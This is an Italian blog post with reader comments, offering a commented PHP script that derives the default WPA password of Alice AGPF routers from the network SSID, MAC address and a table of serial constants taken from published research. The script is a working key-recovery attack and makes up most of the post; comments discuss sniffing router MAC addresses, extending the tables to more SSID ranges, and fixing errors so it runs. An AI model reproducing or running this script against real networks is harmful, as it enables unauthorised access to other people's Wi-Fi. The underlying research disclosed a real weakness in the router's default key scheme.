6
giu


Come preannunciato nell’artcolo precedente sui router Fastweb, mi sono adoperato a studiare la brillante ricerca della WhiteHatCrew sui router di Alice, denominati AGPF, al fine di implementare uno script per la generazione della chiave WPA di default.

A differenza del caso FastWeb, il quale per il calcolo si basava solo sull SSID della rete, in questo caso ci serve anche il seriale del router che, come dimostrato dalla ricerca precedentemente linkata, è ricavabile tramite un sistema a due incognite dal quale, la WHC, ha tirato fuori una tabella di valori noti, tabella che ho inserito nel mio script.

Di conseguenza, a meno che il lettore non ampli la propria tabella a mano, seguendo le indicazioni della WHC, lo script funzionerà solo con SSID del tipo :

  • Alice-96xxxxxx
  • Alice-93xxxxxx
  • Alice-56xxxxxx
  • Alice-55xxxxxx
  • Alice-54xxxxxx
  • Alice-48xxxxxx
  • Alice-46xxxxxx

Sono sicuro cmq che cercando nella rete delle tabelle un po più estese si trovano ;)

Lo script è commentato (come il precedente), in modo tale il lettore avrà la possibilità non solo di utilizzarlo, ma anche di capirlo, che è la cosa che più mi preme al fine di una condivisione libera dell’informazione e della cultura informatica in generale.

Enjoy.

<?php
/***************************************************************************
 *   Alice AGPF WPA Discovery                                              *
 *   by evilsocket - evilsocket@gmail.com - http://www.evilsocket.net      *
 *   based on <http://wifiresearchers.wordpress.com/>                      *
 *                                                                         *
 *   This program is free software; you can redistribute it and/or modify  *
 *   it under the terms of the GNU General Public License as published by  *
 *   the Free Software Foundation; either version 2 of the License, or     *
 *   (at your option) any later version.                                   *
 *                                                                         *
 *   This program is distributed in the hope that it will be useful,       *
 *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *
 *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *
 *   GNU General Public License for more details.                          *
 *                                                                         *
 *   You should have received a copy of the GNU General Public License     *
 *   along with this program; if not, write to the                         *
 *   Free Software Foundation, Inc.,                                       *
 *   59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.             *
 ***************************************************************************/


/*
 * Tabella per il calcolo del seriale.
 *
 * First SSID digits => ( SN1, k, Q )
 */

$SN_TABLE   = array( '96' => array( '69102', 13, 96017051 ),
                     '93' => array( '69101', 13, 92398366 ),
                     '56' => array( '67902', 13, 54808800 ),
                     '55' => array( '67904', 8,  55164449 ),
                     '54' => array( '67903', 8,  52420689 ),
                     '48' => array( '67903', 8,  47896103 ),
                     '46' => array( '67902', 13, 39015145 ) );
/*
 * Numeri magici da utilizzare per il calcolo dell'SHA256.
 */

$ALIS       = "\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8";
/*
 * Tabella di conversione da hash a wpa.
 */

$CONV_TABLE = "0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuv".
              "wxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123";
/*
 * SSID della rete.
 */

$SSID       = "Alice-96154825";
/*
 * MAC address del router.
 */

$MAC        = "\x00\x23\x8E\x01\x02\x03";
/*
 * Calcolo il seriale in base al SSID e alla tabella dei valori noti.
 */

$SN         = SSID2SN($SSID);
/*
 * Calcolo SHA256( MagicN + SN + MAC )
 */

$hash       = SHA256( $ALIS.$SN.$MAC );
/*
 * Converto la stringa dell'hash in un array di byte.
 */

$bytes      = hash2bytes($hash);
/*
 * Trovo la WPA utilizzando i primi 24 byte dell'hash come indici della tabella di covnersione.
 */

$wpa   = "";
for( $i = 0; $i < 24; $i++ ){
    $wpa .= $CONV_TABLE[ $bytes[$i] ];
}

echo "WPA : $wpa\n";

/*
 * Funzione per risalire al seriale del router partendo dal suo SSID e utilizzando
 * le tabelle dei valori noti.
 */

function SSID2SN( $ssid ){
    global $SN_TABLE;
    /*
     * Prelevo il numero intero dall'SSID e ne prendo le prime due cifre
     * per verificare che il router sia presente nella tabella.
     */

    preg_match_all( "/^Alice\-([0-9]+)/", $ssid, $m );
    $ssidn = $m[1][0];
    $id    = substr( $ssidn, 0, 2 );

    if( isset( $SN_TABLE[$id] ) ){
        /*
         * Ok, il router è presente nella tabella, prelevo la prima parte del seriale e
         * le costanti k e Q da utilizzare nell'equazione finale.
         */

        $sn1 = $SN_TABLE[$id][0];
        $k   = $SN_TABLE[$id][1];
        $Q   = $SN_TABLE[$id][2];
        /*
         * La seconda parte del seriale equivale a :
         *      (SSID - Q) / k
         */

        $sn2 = ((int)$ssidn - $Q) / $k;
        /*
         * Restituisco il seriale completo.
         */

        return $sn1.'X'.sprintf( "%07s", $sn2 );
    }
    /*
     * Router non presente nella tabella.
     */

    else{
        die( "La serie 'Alice-$id******' non è presente nella tabella e non è supportata.\n" );
    }
}
/*
 * Funzione per il calcolo di un hash SHA256.
 */

function SHA256( $phrase ){
    return bin2hex( mhash( MHASH_SHA256, $phrase ) );
}
/*
 * Funzione per convertire un hash in un array di byte interi.
 */

function hash2bytes( $hash ){
    preg_match_all( "/[a-f0-9]{2}/i", $hash, $hash_bytes );
    $bytes = array();
    foreach( $hash_bytes[0] as $byte ){
        $bytes[] = hexdec($byte);
    }
   
    return $bytes;
}

?>

Popularity: 100% [?]

Ti potrebbe interessare:

  1. Script per il calcolo della chiave WPA dei router FastWeb Pirelli. Oggi mi sono inbattuto per caso in questo servizio, ovvero...
  2. Alice Router Unlocker Basandomi sul lavoro di saxdax e drpepperONE che potete trovare...
  3. Informazione di Servizio, Chiave Pubblica In questi giorni ho avuto la necessità di scambiare email...
  4. IPMan Codice di esempio che mostra come creare uno sniffer di...
  5. Win32 Service Class Classe C++ che wrappa le API windows per l’installazione ed...
View Comments on Script per il calcolo della chiave WPA dei router Alice Gate VoIP 2 Plus Wi-Fi

Closed

  1. ecco dove cazzo sbagliavo :D

    Idiota :D

    Grande evil :D

  2. evilsocket scrive:

    @Alessio Dalla Piazza

    E di che? E’ un piacere ^^

  3. Peppe scrive:

    Ottimo script … Funonzia. Grazie Evil. Sarebbe interessante scovare nuovi valori di Q e K per Alice-36xxxxxx :-p

  4. evilsocket scrive:

    @Peppe

    Ti basta seguire la loro ricerca ed inserire la variabili nel sistema.

  5. r4ffy scrive:

    Peccato che l’algoritmo non funzioni su i nuovi modelli agif della dialface
    il motivo la key viene generata a partire da /dev/random e poi viene stampata sotto al router.
    Ma la casualità non esiste in informatica :D

  6. evilsocket scrive:

    Beh era pure ora che capissero che *forse* era il caso di adottare un algoritmo un attimino meno prevedibile XD

  7. Luca scrive:

    Uhm a me non funziona. Cioè se metto un ssid errato casuale mi dà la stringa “La serie ecc. ecc.” ma se metto il mio ssid che inizia con 54, ho lo schermo bianco, come se non riuscisse ad eseguire qualcosa. Qualche suggerimento? Php 5.3.1 e libcrypt 2.5.8 su snow leopard.

  8. evilsocket scrive:

    Questo è un problema del php, non so cosa dirti, verifica che l’installazione sia corretta.

  9. Luca scrive:

    @evilsocket sì ci ho pensato, però boh, non riesco ad individuarlo (non avendo nessun errore in output).
    Grazie lo stesso e complimenti per Hybris, lo seguo dai primi “passi” :)

  10. VB6 scrive:

    Ciao Mi servirebbe un piccolo aiutino :)

    neanche cosi mi da il digest corretto :|
    sHexData=”64C6DDE3E579B6D986968D3445D23B15CAAF128402AC560005CE2075913FDCE8″
    For i = 1 To Len(sHexData) Step 2
    H = H & CStr(CByte(“&h” & Mid$(sHexData, i, 2)))
    Next i

    Sia Se converto le stringe Di Magic è MAC in Hextostring,Stringtobyte L’hash sha256(Magic+SN+MAC) mi esce sempre errato :|

    sono riuscito a fare tutto il resto mi manka solo di fare questo cavolo di Digest Hash Corretto :| !!!!
    Un aiuto è molto Gradito !!! Grazie !

  11. evilsocket scrive:

    Questo è un blog, non un forum ne un help desk.

  12. VB6 scrive:

    Chiedo scusa per l’eventuale disagio :) Grazie comunque

  13. Ard scrive:

    Salve!
    Intanto complimenti per il lavoro.Allora io sto usando Roadsend Compiler Studio che immaggino sai a che serve e quando faccio compile mi da un errore su riga 117 e mi dice che la funzione bin2hex non è definita.Hai qualche idea a cosa e dovuta(quella funzione deve essere per forza definita nelle librerie di deafult credo)?Mi scuso per la misera domanda

  14. evilsocket scrive:

    Mmmm nn capisco la necessità di compilare uno script php … cmq non saprei, mi dispiace.

  15. Pig scrive:

    Complimenti per l’ottimo lavoro, una cosa che pero’ non ho capito riguardo il mac adress sniffando la mia rete ricavo indirizzo mac: 00238E5AXXXX è questo il valore che devo inserire nello script ho devo prima convertirlo?

  16. evilsocket scrive:

    Il mac 00238E5AXXXX nello script va inserito come la stringa :

    “\x00\x23\x8E\x5A\xXX\xXX”

  17. Pig scrive:

    @evilsocket
    Thanks, pero’ la cosa che nn ho ben capito e’ se devo inserire il mac wifi che ricavo con un normale sniffer oppure quello ethernet.

  18. evilsocket scrive:

    @Pig

    Bella domanda! XD
    Non avendo questo tipo di router, ne il tempo per trovarne di altrui, non ho potuto testare questo aspetto :S
    Quindi ti rimando alla ricerca della WHC per dettagli di questo tipo.

  19. Pig scrive:

    @evilsocket
    In effetti inserendo mac wifi la wpa è errata…

  20. lufuscu scrive:

    @Pig
    devi inserire il mac ethernet…in alcuni casi (da quanto ho capito non tutti) basta anteporre il 2 nella stringa numerica dell’ ssid, convertire in esadecimale e sostituire gli ultimi sette ‘caratteri’ nel mac address wifi..a me ha funzionato, solo che non ho altri router per testare

  21. Matteo scrive:

    ma per compilare a mano la tabella per altri range di essid seguendo le indicazioni di WHC(??’cos’è?) basta creare degli array? e k e q come si trovano??

    ps.: allo script bisogna sostituire i dati presi in esempio “Alice-96154825″ vero??

    sto usando bamcompile per fare eseguire il php in windows (provo magari anche col browser) ma mi dice chiamata alla funzione indefinita mshash()

  22. evilsocket scrive:

    1 – Devi seguire la documentazione della ricerca che ho linkato nell’articolo, sostanzialmente si tratta di inserire le variabili nel sistema matematico li descritto.
    2 – WHC = White Hats Crew = I ricercatori che hanno pubblicato quel documento.
    3 – Si devi inserire i dati che ti interessano.
    4 – Puoi semplicemente installare l’interprete php sul tuo computer e successivamente eseguire lo script da un terminale/console/command con “php.exe nome-dello-script.php”.

  23. Matteo scrive:

    grazie farò come mi hai detto

    avevo fatto una ricerca e trovato questo interprete bamcompile che ho usato col comando da cmd:

    bamcompile input.php –>input.exe

    ed anche con l’opzione -w (Hide console window for windowed applications)

    ma l’eseguibile creato non si esegue …da alla linea 117 come all’altro utente un errore circa la chiamata ad una funzione non definita…la mshah()!!

    dai se non va, lo eseguo col pinguino!!! grazie evilsocket e complimenti per l’articolo

  24. evilsocket scrive:

    @Matteo

    Ma si dai, se devi semplicemente eseguirlo non ti complicare la vita e vai col Pinguino! :D

  25. araldico scrive:

    Ho provato a far partire il lo script con ubuntu ma mi viene restituito questo errore Call to undefined function mhash() in /home/leonardo/Scrivania/prova.php on line 117
    Consigli?

  26. evilsocket scrive:

    Come ho già detto, devi verificare che il modulo indicato dalla documentazione di quella funzione del PHP sia installato ed attivato.

  27. araldico scrive:

    Grazie ho risolto, infatti non era installato il pacchetto PHP5-MHASH

  28. WhiteHat scrive:

    Non penso che tu volessi tutto questo…

  29. evilsocket scrive:

    Io volevo semplicemente pubblicare lo script, poi sono liberissimo di rispondere come meglio credo agli eventuali rompi coglioni/n00b/lamer di turno :)

  30. SuperBanner.org scrive:

    Hai fatto bene a pubblicare lo script, la conoscenza è un bene comune e va condivisa, questo è lo spirito giusto, poi basta ignorare che vuole solo sfruttarti.

  31. Jano scrive:

    Ciao araldico

    araldico :
    Ho provato a far partire il lo script con ubuntu ma mi viene restituito questo errore Call to undefined function mhash() in /home/leonardo/Scrivania/prova.php on line 117
    Consigli?

    - l’ errore è dovuto all’ assenza di 2 librerie richieste:
    CODICE:
    sudo apt-get install php5 php5-cli php5-mhash

    Saliti, Jano

  32. squint scrive:

    ciao ragazzi, ho testato il prog con una alice-46xxxxx ma la wpa non sembra corrispondere..mi chiedevo, i dati variabili nel programma sono ssid e mac giusto? Bene li ho modificati ma nulla..leggevo qua e la che si dovrebbe utilizzare il MAC dell’ethernet del router e non il MAC della scheda wi-fi (del router)..potrebbe essere questo il problema? Si potrebbe fare un pò di chiarezza su questa questione? Attendo risposte :)

  33. Araldico scrive:

    Su post nr. #1355 di http://www.pillolhacking.net/2009/04/20/cracking-istantaneo-di-chiavi-wpawpa2/ un utente chiedeva conferma della WPA fornendo questi dati Alice-54887113 e MAC 00:25:53:45:82:C9.
    Utilizzando lo script la WPA che vine calcolata è 2jozhteslt8n6lc********* ma quella giusta è ybq0hetdql…… come confermato dallo stesso utente.
    Consigli?

  34. evilsocket scrive:

    @Araldico

    Consigli, andate a chiedere su quel blog!
    Inizio a stufarmi, tra poco blocco i commenti, quello che dovevo dire e pubblicare l’ho detto e pubblicato.

blog comments powered by Disqus